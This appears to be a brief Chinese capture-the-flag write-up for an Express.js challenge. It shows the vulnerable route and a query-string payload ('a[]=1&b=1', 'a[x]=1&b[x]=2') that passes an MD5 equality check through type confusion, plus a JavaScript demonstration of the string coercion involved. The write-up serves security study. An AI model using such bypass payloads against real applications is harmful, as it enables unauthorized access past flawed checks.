1. var express = require('express');
    2. var router = express.Router();
    3. var crypto = require('crypto');
    4. function md5(s) {
    5. return crypto.createHash('md5')
    6. .update(s)
    7. .digest('hex');
    8. }
    9. /* GET home page. */
    10. router.get('/', function(req, res, next) {
    11. res.type('html');
    12. var flag='xxxxxxx';
    13. var a = req.query.a;
    14. var b = req.query.b;
    15. if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    16. res.end(flag);
    17. }else{
    18. res.render('index',{ msg: 'tql'});
    19. }
    20. });
    21. module.exports = router;

    和 PHP 一样,数组绕过即可

    1. /?a[]=1&b=1

    image.png

    发现这样更易于理解
    payload: a[x]=1&b[x]=2
    运行一下代码

    1. a={'x':'1'}
    2. b={'x':'2'}
    3. console.log(a+"flag{xxx}")
    4. console.log(b+"flag{xxx}")
    5. a=[1]
    6. b=[2]
    7. console.log(a+"flag{xxx}")
    8. console.log(b+"flag{xxx}")

    image.png